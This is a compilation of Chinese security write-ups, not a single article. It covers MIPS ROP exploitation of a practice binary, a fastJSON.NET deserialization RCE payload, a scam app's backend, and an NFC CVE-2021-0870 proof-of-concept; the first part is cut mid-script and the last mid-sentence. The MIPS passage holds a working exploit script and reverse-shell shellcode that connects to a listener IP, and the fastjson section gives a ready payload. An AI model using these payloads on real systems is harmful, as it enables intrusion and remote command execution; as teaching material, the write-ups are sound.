# sleep = 0x767142b0 qemu
# sleep = 0x2ab6d2b0 device
# libraries and offsets
libc = 0x2ab3e000 #0x766e5000 #0x2ab3e000 #
sleep_offset = 0x0002f2b0
rop1_offset = 0x000377cc # to get s1 and s0
rop2_offset = 0x000189ec # move t9, s0 jalr t9, nop
rop3_offset = 0x00033d8c # sp into a1
rop4_offset = 0x0001fbcc # a1 into t9 then jump to t9
# Craft Exploit
message = "A" * 51 # Padding
message += struct.pack("<L", libc+rop1_offset) # RA rop1
message += "B" * 40 # padding for lw offset
#Gadget 2 - sleep
message += struct.pack("<L", libc+sleep_offset) #s0 0x28
message += "MMMM" #s1 0x2c
message += struct.pack("<L", libc+rop2_offset) #ra 0x30
# Gadget 3
message += "C" * 60
message += "0" * 4 # s0
message += "1" * 4 # s1
message += "2" * 4 # s2
message += "3" * 4 # s3
message += "4" * 4 # s4
message += struct.pack("<L", libc+rop3_offset) # RA
# Gadget 4
message += "D" * (72-48)
# XOR s0, s0
message += struct.pack("<L",0x02108026) #xor s0 s0
message += struct.pack("<L",0x02b5a826)
message += struct.pack("<L",0x02b5a826)
message += struct.pack("<L", 0xafb0fff8) # sw s0, -8(sp)
#One more Sleep for 5 seconds
# nop to shellcode
message += struct.pack("<L",0x02b5a826) * 8 # xor s5,s5
message += struct.pack("<L", libc+rop4_offset) # RA then null
message += struct.pack("<L", 0xafa0fffc) # sw s0, -4(sp)
message += shellcode
'''
# a0 for sleep is 5 - first gadget
Gadget 1
0x000377cc 3000bf8f lw ra, 0x30(sp)
0x000377d0 2c00b18f lw s1, 0x2c(sp)
0x000377d4 2800b08f lw s0, 0x28(sp)
0x000377d8 0800e003 jr ra
Gadget 2
0x000189ec 21c80002 move t9, s0
0x000189f0 09f82003 jalr t9
0x000189f4 01000524 addiu a1, zero, 1
0x000189f8 02000010 b 0x18a04
Gadget 3
0x00033d8c 1800a527 addiu a1, sp, 0x18
0x00033d90 1000bc8f lw gp, 0x10(sp)
0x00033d94 4800bf8f lw ra, 0x48(sp)
0x00033d98 0800e003 jr ra
Gadget 4
0x0001fbcc 21c8a000 move t9, a1
0x0001fbd0 38008424 addiu a0, a0, 0x38
0x0001fbd4 08002003 jr t9
'''
try :
#Set the whole string
s.sendall(message)
except socket.error:
#Send failed
print 'Send failed'
sys.exit()
print 'Exploit Sent - Check your netcat listener in about 5 seconds.'
s.close()
由于栈是可执行的，并且库的地址并不会发生位移，所以我们可以对ROP链进行硬编码，但最终我们要将$SP内的值移动到可以调用的寄存器中。在我看来，硬编码栈地址是不可靠的，我更喜欢使用偏移量。下面是可攻破二进制的map输出结果：
# ./socket_bof 8888 &
Binding to port 8888
11554
# cat /proc/11554/maps
00400000-00402000 r-xp 00000000 1f:02 218 /pwnable/ShellCode_Required/socket_bof
00441000-00442000 rw-p 00001000 1f:02 218 /pwnable/ShellCode_Required/socket_bof
2aaa8000-2aaad000 r-xp 00000000 1f:02 440 /lib/ld-uClibc.so.0
2aaad000-2aaae000 rw-p 2aaad000 00:00 0
2aaec000-2aaed000 r--p 00004000 1f:02 440 /lib/ld-uClibc.so.0
2aaed000-2aaee000 rw-p 00005000 1f:02 440 /lib/ld-uClibc.so.0
2aaee000-2aafe000 r-xp 00000000 1f:02 445 /lib/libgcc_s.so.1
2aafe000-2ab3d000 ---p 2aafe000 00:00 0
2ab3d000-2ab3e000 rw-p 0000f000 1f:02 445 /lib/libgcc_s.so.1
2ab3e000-2ab79000 r-xp 00000000 1f:02 444 /lib/libc.so.0
2ab79000-2abb9000 ---p 2ab79000 00:00 0
2abb9000-2abba000 rw-p 0003b000 1f:02 444 /lib/libc.so.0
2abba000-2abbe000 rw-p 2abba000 00:00 0
7f81e000-7f833000 rwxp 7f81e000 00:00 0 [stack]
请注意：本来我已经打算自己去写Shellcode，但是我发现有一个名为Bowcaster的项目，并且它有现成的Shellcode。然而，为了展示这个过程，我会将C代码独立出来。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
int sockfd;
int lportno = 8080; // listener port
struct sockaddr_in serv_addr;
char *const params[] = {"/bin/sh",NULL};
char *const environ[] = {NULL};
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
serv_addr.sin_family = AF_INET; // 2
serv_addr.sin_addr.s_addr = inet_addr("192.168.1.120"); // RHOST
serv_addr.sin_port = htons(lportno);
connect(sockfd, (struct sockaddr *) &serv_addr, 16);
// redirect stdout and stderr
dup2(sockfd,0); // stdin
dup2(0,1); // stdout
dup2(0,2); // stderr
execve("/bin/sh",params,environ);
}
如果我们查看Bowcaster Reverse_TCP的Shellcode，会发现上面的C代码和Bowcaster的Shellcode是相同的。
shellcode = string.join([
"xfaxffx0fx24", # li t7,-6
"x27x78xe0x01", # nor t7,t7,zero
"xfdxffxe4x21", # addi a0,t7,-3
"xfdxffxe5x21", # addi a1,t7,-3
"xffxffx06x28", # slti a2,zero,-1
# Socket SYSCall
"x57x10x02x24", # li v0,4183
"x0cx01x01x01", # syscall 0x40404
"xffxffxa2xaf", # sw v0,-1(sp)
"xffxffxa4x8f", # lw a0,-1(sp)
"xfdxffx0fx3c", # lui t7,0xfffd
"x27x78xe0x01", # nor t7,t7,zero
"xe0xffxafxaf", # sw t7,-32(sp)
# Connect back port 8080
"x1fx90x0ex3c", # lui t6,0x901f
"x1fx90xcex35", # ori t6,t6,0x901f
"xe4xffxaexaf", # sw t6,-28(sp)
# IP Address
IP_3+IP_4+"x0ex3c", # lui t6,<ip>
IP_1+IP_2+"xcex35", # ori t6,t6,<ip>
"xe6xffxaexaf", # sw t6,-26(sp)
"xe2xffxa5x27", # addiu a1,sp,-30
"xefxffx0cx24", # li t4,-17
"x27x30x80x01", # nor a2,t4,zero
# Socket Connect SYSCALL
"x4ax10x02x24", # li v0,4170
"x0cx01x01x01", # syscall 0x40404
"xfdxffx0fx24", # li t7,-3
"x27x78xe0x01", # nor t7,t7,zero
"xffxffxa4x8f", # lw a0,-1(sp)
"x21x28xe0x01", # move a1,t7
# Dup2 SYSCAL
"xdfx0fx02x24", # li v0,4063
"x0cx01x01x01", # syscall 0x40404
"xffxffx10x24", # li s0,-1
"xffxffxefx21", # addi t7,t7,-1
"xfaxffxf0x15", # bne t7,s0,68 <dup2_loop>
"xffxffx06x28", # slti a2,zero,-1
"x62x69x0fx3c", # lui t7,0x6962
"x2fx2fxefx35", # ori t7,t7,0x2f2f
"xecxffxafxaf", # sw t7,-20(sp)
"x73x68x0ex3c", # lui t6,0x6873
"x6ex2fxcex35", # ori t6,t6,0x2f6e
"xf0xffxaexaf", # sw t6,-16(sp)
"xf4xffxa0xaf", # sw zero,-12(sp)
"xecxffxa4x27", # addiu a0,sp,-20
"xf8xffxa4xaf", # sw a0,-8(sp)
"xfcxffxa0xaf", # sw zero,-4(sp)
"xf8xffxa5x27", # addiu a1,sp,-8
# Execve SYSCALL
"xabx0fx02x24", # li v0,4011
"x0cx01x01x01" # syscall 0x40404
], '')
第一个安装Socket（Syscall w/ Value 4183）
连接到Socket（Syscall w/ Value 4170）
为stdin/stdout重定向调用dup2（Syscall w/ Value 4063）
使用/bin/sh调用Execve（Syscall w/ Value 4011）
我们可以通过查看Radare2中C函数的反汇编内容，来验证系统调用。接下来，我们将继续验证Socket系统调用。
=-------------------------=
| [0x400680] |
| __GI_socket: |
| (fcn) sym.socket 36 |
| lui gp, 5 |
| addiu gp, gp, -0x6600 |
| addu gp, gp, t9 |
| addiu sp, sp, -0x20 |
| sw ra, 0x1c(sp) |
| sw s0, 0x18(sp) |
| sw gp, 0x10(sp) |
| addiu v0, zero, 0x1057 | // Hex 0x1057 is 4183 in decimal
| syscall |
=-------------------------=
我们可以看到，值为4183的系统调用是对C函数socket()的调用。同样，针对所有其他系统调用，我们都以相同的方式进行了验证。
另外请大家注意的一点是，Shellcode并不能100%保证在用户系统的QEMU中能够正常工作。你接下来看到的这个Shellcode，实际行为是进行一个TCP连接，但它并不是交互式Shell，并且出现了一个错误信息。而运行在实际设备上的Shellcode能够按照预期正确执行。
我们有一个简单的方法，可以分析运行期间执行的指令，就是利用Qira。下图中展示了如何让Qira在不需要设置断点的前提下分析二进制文件。
Qira的输出是基于Web的，可以显示出所有已执行的指令和系统调用。
总而言之，我们在进行漏洞利用时，不一定非要自己造轮子。但我承认，设计自己的Shellcode和Shellcode编码器是一个非常好的练习过程。在决定开天辟地之前，要首先看看有没有可以利用的工具。利用现有的Shellcode并没有什么不妥，特别是如果这个Shellcode足够对付你的目标。但有一点需要注意，在使用之前，一定要对你在网上找到的Shellcode进行谨慎地审计。
## 6\. 参考
Binwalk（提取二进制映像）：<https://github.com/devttys0/binwalk>
Blog- /dev/ttyS0（一位知名嵌入式设备黑客的博客）：<http://www.devttys0.com/blog/>
BowCaster（MIPS漏洞利用框架）：<https://github.com/zcutlip/bowcaster>
Buildroot（编译你自己的uClibc工具链）：<https://buildroot.org/>
QEMU（用于模拟不同CPU架构）：<http://wiki.qemu.org/Main_Page>
Radare2（开源反汇编器）：<https://github.com/radare/radare2>
维基百科GPL：<https://en.wikipedia.org/wiki/GNU_General_Public_License>
SmashtheStack（战争游戏服务器，其中一部分着重于内存损坏）：<http://smashthestack.org/>
Qira（由Geohot开发的Timeless
Debugger）：<https://github.com/BinaryAnalysisPlatform/qira>
Linux MIPS（不错的参考文章）：<https://www.linux-mips.org/>
原文链接：<https://p16.praetorian.com/blog/reversing-and-exploiting-embedded-devices-part-1-the-software-stack> | 社区文章 |
# Fastjson
fastjson是之前比较流行的第三方json库。[官方文档](https://www.codeproject.com/Articles/159450/fastJSON-Smallest-Fastest-Polymorphic-JSON-Seriali)宣称其性能测试第一，并且给了图
本文讲解fastjson.net的反序列化漏洞
# demo
一个最小的序列化demo
using fastJSON;
using System;
namespace Fastjson.NetSerializer
{
class Person
{
public string Name { get; set; }
}
class Program
{
static void Main(string[] args)
{
Person person = new Person();
person.Name = "jack";
string json = JSON.ToJSON(person);
Console.WriteLine(json);
Person p = JSON.ToObject<Person>(json);
Console.WriteLine(p.Name);
Console.ReadKey();
}
}
}
输出
{"$types":{"Fastjson.NetSerializer.Person, Fastjson.NetSerializer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null":"1"},"$type":"1","Name":"jack"}
jack
可见附带了type信息，那么当json可控时，传入objectdataprovider可造成RCE。
# 攻击链objectdataprovider
ysoserial.net生成payload如下
PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -f fastjson -g ObjectDataProvider -c calc
{
"$types":{
"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35":"1",
"System.Diagnostics.Process, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089":"2",
"System.Diagnostics.ProcessStartInfo, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089":"3"
},
"$type":"1",
"ObjectInstance":{
"$type":"2",
"StartInfo":{
"$type":"3",
"FileName":"cmd","Arguments":"/c calc"
}
},
"MethodName":"Start"
}
json传入反序列化之后弹出calc
上图是使用fastjson2.2.4版本，在fastjson2.3.0版本之后，官方的GitHub仓库有一个[issue](https://github.com/mgholam/fastJSON/issues/108)提到了type可控造成RCE漏洞，由此作者在2.3.0之后增加了`JSONParameters.BlackListTypeChecking`来检查type值是否为已知的漏洞，类似于java中的fastjson黑名单。[commit在这里](https://github.com/mgholam/fastJSON/commit/52abf6cc2c60a75ea5d85ec8ea348461d095ddfb)
黑名单关键代码如下
当使用同样的payload打2.3.0及以上版本的fastjson时，会抛出异常
> Black list type encountered, possible attack vector when using $type :
> System.Windows.Data.ObjectDataProvider, PresentationFramework, Version =
> 4.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35”
# 审计
关注fastjson的版本，以及json传入是否可控。
# 后文
fastjson因为json.net的兴起逐渐被取代，但仍是比较经典的json反序列化漏洞，值得学习。 | 社区文章 |
# 半夜潜入诈骗团伙内部，才明白为什么兼职刷单总被骗钱
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
刷单诈骗是网络诈骗中最常见的诈骗类型，但同时也是诈骗变种最多的诈骗类型之一。2020年，通过360诈骗理赔等多个渠道，发现利用自动刷单应用实施诈骗的情况，
**此类诈骗名义上为自动刷单赚钱应用，但其本质上是资金盘骗局。**
## 案例经过
用户在二手交易平台看到“招收异地客服”的信息，通过对方的介绍，发现工作内容就是帮助电商平台刷销量。经过详细沟通后，用户添加了对方的掌嗨号，在引导下安装了指定的应用APP
**“和包支付”** ，也就是一种全自动抢电商平台订单进行刷单的应用。
用户使用手机号注册后（无短信校验过程）， **应用会自动选择平台内的商品供用户选择下单，用户支付即完成刷单操作，随后会进行本佣金返现。**
用户首次充值900元，抢单获利后又多次在平台充值，先后提现成功6次共获利919元。
后期抢了个5000元的大额订单，但系统显示该账户余额不足，客户表示用户充值后才可继续抢单。用户要求退款被拒绝后，得知受骗。
## 揭秘！电商抢单类APP的运作模式
平台每天都会将需要提高曝光度的商家产品放到平台上，提供给平台用户进行抢单。
**为了规避网购平台的检测，提高订单的真实性，新用户在抢单前必须先完善个人真实信息，并填写真实的收货地址。**
为了有效的帮助商家提升订单成功率，规避商家被检查到虚假订单的风险， **平台将会根据您当前的操作IP，设备型号对当天的订单进行优化匹配**
。所有订单匹配均需要通过智能云算法实现。
通过对案例中涉及的应用进行分析，发现了骗子使用的管理后台，在未登录其后台情况下，查看了一些包含 **角色管理、交易管理、系统管理**
等的一些功能。借助网上公开的源码，找到了其详细玩法及运营方式。
**角色管理：** 管理注册用户的信息，包括给
**用户设置暗扣（私自扣除用户余额资金），设置接单数量、佣金比例、提现条件（提现最小/最大限制、提现至少完成订单/天）、提现手续费。**
**交易管理：** 管理充值、订单、商家商品、利息宝信息
①审批用户充值与提现操作
②通过商品列表功能，增加或修改商品信息
③通过商品分类功能，增加或修改电商平台信息
④通过利息宝功能，增加或修改利息宝（平台描述的理财项目）收益
**系统管理：** 管理 **平台访问权限、支付方式、平台界面样式、路径信息**
①通过修改支付方式，可以修改收款方式
②修改平台网址路径
通过源码说明结合后台管理界面，我们发现 **此平台虽然是宣传是电商平台的自动刷单应用，但实际上一种资金盘骗局。**
1、平台宣传的对接电商平台的订单，实际上骗子后台配置的商品信息、商品订单，伪造出来的。
2、平台后台可以设置提现条件、佣金比例，甚至还是暗扣模式。
3、若用户抢单后未付款，管理员可以强制用户付款。
4、通过平台可以随意设置利息宝选项来看，平台宣传的对接余额宝的利息宝也是虚假的资金项目。
意味着，用户一旦进入这个平台， **在平台内充值，不管有没有参与抢单，投入的资金都可能拿不回来。**
只不过是平台为了骗取更多的资金，前期会给一部分用户盈利的甜头而已。 | 社区文章 |
**作者：墨云科技VLab Team
原文链接：<https://mp.weixin.qq.com/s/ck5wwDi9hXmjtiPPfRgtXw>**
## **概述**
NFC在人们的日常生活中扮演了重要角色，已经成为移动设备不可或缺的组件，NFC和蓝牙类似，都是利用无线射频技术来实现设备之间的通信。因此芯片固件和主机NFC子系统都是远程代码执行(RCE)攻击的目标。
CVE-2021-0870是一枚NFC中的RCE高危漏洞，2021年10月漏洞通告中显示已被修复<https://source.android.com/security/bulletin/2021-10-01>。漏洞成因是`RW_SetActivatedTagType`
可以通过将NFC的TCB(tag control
block)置零的方式实现在不同tag之间切换，TCB所在的内存区域是固定不变的，这块内存被不同tag复用。当TCB被置零后即表示上一状态已被禁用。但是新tag激活后，上一个状态的超时检测定时器仍然在工作，并且仍然引用TCB里的数据和指针，然而此时TCB已经被置零。随后新状态启动自己的定时器重写TCB中相应偏移的数据时，会产生条件竞争。
## **NFC技术框架**
### **NFC的三种运行模式**
**Reader/Write模式** ：简称R/W 和NFC Tag/NFC reader有关；
**Peer-to-Peer模式** ：简称P2P 它支持两个NFC设备进行交互；
**NFC Card Emulation(CE)** ：他能把NFC功能的设备模拟成智能卡,这样就可以实现手机支付/门禁卡功能。
漏洞存在于Reader/Write模式(R/W)
### **Reader/Write模式**
NFC Tag/NFC reader是NFC系统RFID中的两个重要的组件，其中Tag是一种用于存储数据的被动式RFID
tag，它自身不包含电源,而是依赖其他组件，如NFC reader通过线圈里的电磁感应给他供电，然后通过某些射频通信协议来存取NFC tag里的数据。
NFC Forum 定义了两个数据结构用于设备间的通信(不仅仅是设备之间，也包括R/W模式种的NFC Reader和NFC Tag之间交互数据)
，分别是NDEF和NFC Record。
R/W模式下使用NDEF数据结构通信时,NFC设备的每一次数据交互都会被封装在一个NDEF Message中，一个Message包括多个NFC
RecordMessage 的数据结构如下,它是多个record组合而成。
单个record的结构如下：
本文不对详细的数据结构的各个字段做出解释。
漏洞存在于使用NDEF数据包通信的过程中。
### **Tag**
NFC Forum 定义了4种tag，分别为Type1,2,3,4 。他们之间的区别在于占用存储空间的大小和使用底层协议不同。但能被NFC
Reader和NFC Tag 读写的tag类型远多于4种，Android
Java层提供了"android.nfc.tech"包用来处理不同类型的tag，下表列出了该包里的几个类,这些类分别处理不同类型的tag。例如，NDEF
是用来处理Type1-4的类。
**IsoDep** | **Provides access to ISO-DEP (ISO 14443-4) properties and I/O
operations on a Tag.**
---|---
MifareClassic | Provides access to MIFARE Classic properties and I/O
operations on a Tag.
MifareUltralight | Provides access to MIFARE Ultralight properties and I/O
operations on a Tag.
Ndef | Provides access to NDEF content and operations on a Tag.
NdefFormatable | Provide access to NDEF format operations on a Tag.
NfcA | Provides access to NFC-A (ISO 14443-3A) properties and I/O operations
on a Tag.
NfcB | Provides access to NFC-B (ISO 14443-3B) properties and I/O operations
on a Tag.
NfcBarcode | Provides access to tags containing just a barcode.
NfcF | Provides access to NFC-F (JIS 6319-4) properties and I/O operations on
a Tag.
NfcV | Provides access to NFC-V (ISO 15693) properties and I/O operations on a
Tag.
漏洞代码中出现的T1T，T2T...TT，I93，是R/W模式下，探测、读写NDEF数据包的具体实现方法,是一种的技术标准。比如I93是基于 ISO
15693 的实现方法，T1T基于NFC-A ，也就是ISO 14443-3A。
## **漏洞分析**
### **POC代码**
基于Google的测试框架gtest编写了一个集成测试文件，TEST函数是测视例的main函数,自动化测试框架从TEST调用poc代码：
TEST(NfcIntegrationTest, test_mifare_state_bug) {
CallbackTracker tracker;
g_callback_tracker = &tracker;
NfcAdaptation& theInstance = NfcAdaptation::GetInstance();
theInstance.Initialize();
NFA_Init(&entry_funcs);
NFA_Enable(nfa_dm_callback, nfa_conn_callback);
usleep(5000);
std::vector<uint8_t> reset_core = {0x1, 0x29, 0x20};
g_callback_tracker->SimulatePacketArrival(
NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
reset_core.size());
{
std::unique_lock<std::mutex> reset_done_lock(cv_mutex);
reset_done_cv.wait(reset_done_lock);
}
NFA_EnableListening();
NFA_EnablePolling(NFA_TECHNOLOGY_MASK_F | NFA_TECHNOLOGY_MASK_V);
NFA_EnableDtamode(NFA_DTA_DEFAULT_MODE);
NFA_StartRfDiscovery();
{
std::unique_lock<std::mutex> enable_lock(cv_mutex);
enable_cv.wait(enable_lock);
}
std::vector<uint8_t> init_core = {0x0, 0xa, 0x3, 0xca, 0xff, 0xff, 0xff,
0xff, 0x2, 0xe0, 0xe0, 0xe0, 0xe0, 0xe0};
g_callback_tracker->SimulatePacketArrival(NCI_MT_RSP, 0, NCI_GID_CORE,
NCI_MSG_CORE_INIT, init_core.data(),
init_core.size());
g_callback_tracker->SimulateHALEvent(HAL_NFC_POST_INIT_CPLT_EVT,
HAL_NFC_STATUS_OK);
{
std::unique_lock<std::mutex> nfa_enable_lock(cv_mutex);
nfa_enable_cv.wait(nfa_enable_lock);
}
std::vector<uint8_t> discover_rf = {0x0};
g_callback_tracker->SimulatePacketArrival(
NCI_MT_RSP, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DISCOVER, discover_rf.data(),
discover_rf.size());
{
std::unique_lock<std::mutex> rf_discovery_started_lock(cv_mutex);
rf_discovery_started_cv.wait(rf_discovery_started_lock);
}
std::vector<uint8_t> activate_rf = {/* disc_id */ 0x0,
NFC_DISCOVERY_TYPE_POLL_V,
static_cast<uint8_t>(NFC_PROTOCOL_T5T)};
for (int i = 0; i < 27; i++) {
activate_rf.push_back(0x6);
}
g_callback_tracker->SimulatePacketArrival(
NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
activate_rf.data(), activate_rf.size());
{
std::unique_lock<std::mutex> activated_lock(cv_mutex);
activated_cv.wait(activated_lock);
}
NFA_RwReadNDef();
{
std::unique_lock<std::mutex> i93_detect_lock(cv_mutex);
i93_detect_cv.wait(i93_detect_lock);
}
g_callback_tracker->SimulatePacketArrival(
NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
reset_core.size());
std::vector<uint8_t> deactivate_rf = {NFA_DEACTIVATE_TYPE_DISCOVERY, 0x1};
g_callback_tracker->SimulatePacketArrival(
NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DEACTIVATE,
deactivate_rf.data(), deactivate_rf.size());
{
std::unique_lock<std::mutex> deactivated_lock(cv_mutex);
deactivated_cv.wait(deactivated_lock);
}
std::vector<uint8_t> activate_another_rf = {
/* disc_id */ 0x0, NFC_DISCOVERY_TYPE_LISTEN_F, NFC_PROTOCOL_T3T};
for (int i = 0; i < 70; i++) {
activate_another_rf.push_back(0x2);
}
g_callback_tracker->SimulatePacketArrival(
NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
activate_another_rf.data(), activate_another_rf.size());
{
std::unique_lock<std::mutex> t3t_get_system_codes_lock(cv_mutex);
t3t_get_system_codes_cv.wait(t3t_get_system_codes_lock);
}
NFA_Disable(true);
{
std::unique_lock<std::mutex> nfa_disable_lock(cv_mutex);
nfa_disable_cv.wait(nfa_disable_lock);
}
}
poc思路大致步骤为，先让系统处于i93模式，发送读数据请求后迅速将系统从i93切换到t3t，系统程序出现崩溃。
下文把poc拆成几个部分逐一分析。
### **Part1**
第一部分代码 ：
CallbackTracker tracker;
g_callback_tracker = &tracker;
NfcAdaptation& theInstance = NfcAdaptation::GetInstance();
theInstance.Initialize();
NFA_Init(&entry_funcs);
NFA_Enable(nfa_dm_callback, nfa_conn_callback);
usleep(5000);
NFA_Init(&entry_funcs)用于初始化NFA的控制块。控制块的作用类似Windows中的PEB结构体。
NFC允许用户在应用层注册NFC芯片硬件抽象层(HAL)的回调函数，poc中定义了一个entry_funcs回调函数表，通过NFA_Init中的NFC_Init函数将entry_funcs回调函数表注册到HAL层。直到NFC被禁用前这个函数指针数组都不会被释放。entry_funcs如下：
tHAL_NFC_ENTRY entry_funcs = {
.open = FakeOpen,
.close = FakeClose,
.core_initialized = FakeCoreInitialized,
.write = FakeWrite,
.prediscover = FakePrediscover,
.control_granted = FakeControlGranted,
};
和在内核模块中给设备设置回调函数相似，entry_funcs相当于file_operation结构体。
entry_funcs里用很多Fake开头的回调函数重载了默认函数,然后把他塞进CallbackTracker这个类，这样做的好处是：
1.函数重载可以对系统默认的回调函数进行二次包装，实现Hook功能。比如后面会看到，加入了线程同步的功能。
2.只通过一个自定义的类实现所有函数的调用，让代码结构更加整洁。
接着调用NFA_Enable，他调用的几个关键函数是：
NFA_Enable->nfa_sys_sendmsg -> GKI_send_msg -> GKI_send_event ->
pthread_cond_signal 。
NFA（NFC For
Android）是安卓系统中NFC的实现。NFA_Enable用来使能安卓NFC，调用它时NFCC必须已经上电,该函数启动了NFC关键的几个任务，打开了NCI的传输渠道，重置了NFC
控制器，初始化整个NFC系统，他是初始化最重要的函数，一般只在系统启动时调用一次，这里我们再次调用来生成一个独立于系统NFC的单独的NFC实验环境。
nfa_sys_sendmsg函数用来发送GKI (General Kernel Interface)消息,
GKI_send_event将event从一个task发送给另一个task，任务之间使用event数据结构的数据包，经安卓的HwBinder进行消息传递.Hwbinder是谷歌专门为供应商设计的进程间通信框架，独立于安卓系统的binder存在，是从8.0以后引入的新机制。
NFA_Enable执行完后，除了测试框架调用Test的主线程外,进程中会多出两个线程，这两个线程就是两个task，可近似理解为一个是NFCC，另一个充当客户端，这两个线程之间互相发数据包交互。作为服务端的task维护了一个命令队列，里面存放要被执行的命令，通过nfc_ncif_check_cmd_queue去检查队列里有没有命令，如果有就去执行。nfc_task是这个事件处理消息的主循环。环解析命令事件并执行相应的回调函数。代码如下,
前一个if半部分负责处理初始化，后一个if是主循环：
uint32_t nfc_task(__attribute__((unused)) uint32_t arg) {... /* main loop */ while (true) { event = GKI_wait(0xFFFF, 0);... /* Handle NFC_TASK_EVT_TRANSPORT_READY from NFC HAL */ if (event & NFC_TASK_EVT_TRANSPORT_READY) {... nfc_set_state(NFC_STATE_CORE_INIT); nci_snd_core_reset(NCI_RESET_TYPE_RESET_CFG); } if (event & NFC_MBOX_EVT_MASK) { /* Process all incoming NCI messages */ while ((p_msg = (NFC_HDR*)GKI_read_mbox(NFC_MBOX_ID)) != nullptr) { free_buf = true; /* Determine the input message type. */ switch (p_msg->event & NFC_EVT_MASK) { case BT_EVT_TO_NFC_NCI: free_buf = nfc_ncif_process_event(p_msg); break; case BT_EVT_TO_START_TIMER: /* Start nfc_task 1-sec resolution timer */ GKI_start_timer(NFC_TIMER_ID, GKI_SECS_TO_TICKS(1), true); break; case BT_EVT_TO_START_QUICK_TIMER: /* Quick-timer is required for LLCP */ GKI_start_timer( NFC_QUICK_TIMER_ID, ((GKI_SECS_TO_TICKS(1) / QUICK_TIMER_TICKS_PER_SEC)), true); break; case BT_EVT_TO_NFC_MSGS: nfc_main_handle_hal_evt((tNFC_HAL_EVT_MSG*)p_msg); break; default: DLOG_IF(INFO, nfc_debug_enabled) << StringPrintf( "nfc_task: unhandle mbox message, event=%04x", p_msg->event); break; } if (free_buf) { GKI_freebuf(p_msg); } } }...}
### **Part2**
第二部分代码如下所示：
std::vector<uint8_t> reset_core = {0x1, 0x29, 0x20}; g_callback_tracker->SimulatePacketArrival( NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(), reset_core.size());{ std::unique_lock<std::mutex> reset_done_lock(cv_mutex); reset_done_cv.wait(reset_done_lock);}
SimulatePacketArrival是poc调用频率最高的函数，模拟了从task之间数据交互的过程 。
task之间使用NCI数据包通信，NCI数据包的格式简要概述为头部，共3字节。
/* NCI Command and Notification Format:
* 3 byte message header:
* byte 0: MT PBF GID
* byte 1: OID
* byte 2: Message Length */
/* MT: Message Type (byte 0) */
头部后面跟实际数据，如下所示：
SimulatePacketArrival如何构造数据包呢？ 以它第一次被调用为例：
SimulatePacketArrival(NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),reset_core.size())
对比他的函数原型：
void SimulatePacketArrival(uint8_t mt, uint8_t pbf, uint8_t gid,uint8_t opcode, uint8_t* data, size_t size)
可知mt->NCI_MT_NTF，pbf->
0，gid->NCI_GID_CORE，opcode->NCI_MSG_CORE_RESET，data->reset_core.data()，size->reset_core.size()，std::vector
reset_core -> {0x1, 0x29, 0x20};
先构造前三个Octect组成头部，然后在末尾插入数据。
std::vector<uint8_t> buffer(3) buffer[0] = (mt << NCI_MT_SHIFT) | (pbf << NCI_PBF_SHIFT) | gid;//第一个8位 buffer[1] = (mt == NCI_MT_DATA) ? 0 : opcode;//第二个8 buffer[2] = static_cast<uint8_t>(size);//第三个8 buffer.insert(buffer.end(), data, data + size);//尾部附加的实际数据是{0x1, 0x29, 0x20 data_callback_(buffer.size(), buffer.data())；
接着调用data_callback_函数发送数据给另一个task。
每一次SimulatePacketArrival调用后面都有一个代码块，例如：
{
std::unique_lock<std::mutex> reset_done_lock(cv_mutex);
reset_done_cv.wait(reset_done_lock);
}
reset_done_cv是一个条件变量,条件变量是C++11引入的一种同步机制。调用reset_done_cv.wait时会将线程挂起，直到其他线程调用notify是才解除阻塞继续执行，合理运用条件变量可以实现不同线程之间的同步。
比如reset_done_cv解除阻塞的时机是在调用FakeWrite的时候，调用栈是：
(gdb) bt
#0 0x000000555558b804 in FakeWrite(unsigned short, unsigned char*) ()
#1 0x0000007fb63ba7fc in nfc_ncif_check_cmd_queue (p_buf=0x7300007fb644f440) at system/nfc/src/nfc/nfc/nfc_ncif.cc:337
#2 0x0000007fb63bb7cc in nfc_ncif_send_cmd (p_buf=<optimized out>) at system/nfc/src/nfc/nfc/nfc_ncif.cc:402
#3 0x0000007fb63ae370 in nci_snd_core_init (nci_version=32 ' ') at system/nfc/src/nfc/nci/nci_hmsgs.cc:94
#4 0x0000007fb63c1f44 in nfc_ncif_proc_reset_rsp (p=<optimized out>, is_ntf=<optimized out>) at system/nfc/src/nfc/nfc/nfc_ncif.cc:1741
#5 0x0000007fb63b00c8 in nci_proc_core_ntf (p_msg=<optimized out>) at system/nfc/src/nfc/nci/nci_hrcv.cc:135
#6 0x0000007fb63bc1b8 in nfc_ncif_process_event (p_msg=<optimized out>) at system/nfc/src/nfc/nfc/nfc_ncif.cc:505
#7 0x0000007fb63c3df4 in nfc_task (arg=<optimized out>) at system/nfc/src/nfc/nfc/nfc_task.cc:378
#8 0x0000007fb6436758 in gki_task_entry (params=<optimized out>) at system/nfc/src/gki/ulinux/gki_ulinux.cc:96
#9 0x0000007fb5cfe9b8 in __pthread_start (arg=0x7f31d23cc0) at bionic/libc/bionic/pthread_create.cpp:347
...
nfc_ncif_check_cmd_queue函数会调用HAL_WRITE(p_buf)函数发数据给HAL，虽然从调用栈看不出FakeWrite实际就是HAL_WRITE，但由于之前重载了
